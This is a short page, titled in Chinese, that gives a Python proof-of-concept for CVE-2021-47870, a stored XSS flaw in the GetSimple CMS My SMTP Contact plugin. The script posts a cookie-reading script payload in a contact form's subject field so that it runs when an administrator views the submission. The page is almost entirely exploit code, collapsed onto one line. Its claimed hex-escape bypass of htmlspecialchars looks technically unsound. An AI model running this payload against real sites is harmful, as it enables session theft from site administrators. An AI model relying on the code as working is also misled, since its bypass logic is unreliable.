CVE-2021-47870 GetSimple CMS My SMTP Contact Plugin存储型XSS漏洞

import requests import sys # CVE-2021-47870 PoC - Stored XSS in GetSimple CMS My SMTP Contact Plugin # Target: GetSimple CMS with My SMTP Contact Plugin <= 1.1.2 target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # XSS payload using hex encoding to bypass htmlspecialchars() # The plugin filters < and > but hex encoded values bypass this xss_payload = '\\x3cscript\\x3ealert(document.cookie)\\x3c/script\\x3e' # Data to submit (adjust parameters based on plugin's actual form fields) data = { 'name': 'Attacker', 'email': '[email protected]', 'subject': xss_payload, 'message': 'Test XSS payload' } try: # Submit the malicious form data response = requests.post(f'{target_url}/plugins/my-smtp-contact/', data=data, timeout=10) if response.status_code == 200: print('[+] XSS payload submitted successfully') print('[+] When admin visits the page, the XSS will execute') print(f'[+] Payload: {xss_payload}') else: print('[-] Failed to submit payload') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}')